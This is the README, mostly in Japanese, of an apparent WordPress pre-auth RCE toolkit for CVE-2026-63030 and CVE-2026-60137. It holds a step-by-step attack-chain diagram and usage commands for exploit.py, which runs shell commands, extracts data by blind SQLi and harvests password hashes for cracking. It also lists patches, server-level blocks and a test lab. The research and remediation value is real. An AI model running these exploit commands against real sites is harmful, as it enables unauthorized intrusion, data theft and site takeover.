
wp2shell — WordPress Core の事前認証 RCE (CVE-2026-63030 + CVE-2026-60137)。エクスプロイトツールキット + 修復。
CVE-2026-63030(バッチルート混同、CVSS 7.5)+ CVE-2026-60137(SQLインジェクション、CVSS 9.1)
WordPress コアにおける事前認証リモートコード実行チェーンです。プラグイン不要、特別な設定も不要で、デフォルトインストールで動作します。
| バージョン範囲 | 影響 | 修正バージョン |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | 完全なRCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | 完全なRCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | SQLインジェクションのみ | 6.8.6 |
前提条件: 永続オブジェクトキャッシュ(Redis/Memcached)を使用していないこと。これは大多数のWordPressインストールにおけるデフォルト構成です。
本エクスプロイトは2つの脆弱性を連鎖させます:
REST API バッチルート混同 — バッチサブリクエスト内の不正なパスにより wp_parse_url() が false を返し、WP_Error が生成されて $matches[] と $requests[] の配列の同期が崩れます。後続のリクエストは誤ったハンドラにディスパッチされ、認証がバイパスされます。
WP_Query におけるSQLインジェクション — author__not_in が(配列ではなく)文字列として渡されると、absint() によるサニタイズがスキップされ、サニタイズされていない値がSQLのWHERE句に直接埋め込まれます。
これにWordPressのoEmbedキャッシュシステム(書き込みプリミティブ)、Customizerのchangeset自動公開(権限昇格)、REST APIの再入性(特権ディスパッチ)を組み合わせることで、認証なしのコード実行が達成されます。
wp2shell/
├── README.md ← This file
│
├── wp2shell-exploit/ ← Exploitation tools
│ ├── exploit.py # Full pre-auth RCE (no password cracking)
│ ├── exploit_hash.py # Hash extraction + authenticated RCE
│ ├── detect.py # Non-destructive vulnerability scanner
│ └── README.md
│
├── wp2shell-patch/ ← Remediation
│ ├── patch.sh # Source code patch (mirrors official fix)
│ ├── wp2shell-shield.php # Drop-in mu-plugin (30-second deploy)
│ ├── block-batch.conf # Nginx mitigation
│ ├── block-batch.htaccess # Apache mitigation
│ └── README.md
│
├── docker-compose.yml # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug # XDebug-enabled image for research
WordPressのソースコードは含まれていません。https://wordpress.org/download/releases/ からダウンロードしてください(脆弱な環境は7.0.1、修正済み環境は7.0.2)。
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 では、チェーンの各リンクを断ち切る3つの修正が適用されています:
WordPress 7.0.2 ではさらにコラボレーション機能が削除されています(多層防御)。
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
このリポジトリは、正規のセキュリティ研究、ペネトレーションテスト、および教育目的のみで提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。
| 修正 | ファイル | 効果 |
|---|
| 配列の整合性 | class-wp-rest-server.php | $matches[] = $single_request を WP_Error エントリにも適用 — 非同期化を防止 |
| 再入性ガード | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — ネストされた serve_request を防止 |
| SQLサニタイズ | class-wp-query.php | wp_parse_id_list() を常に適用 — インジェクションを防止 |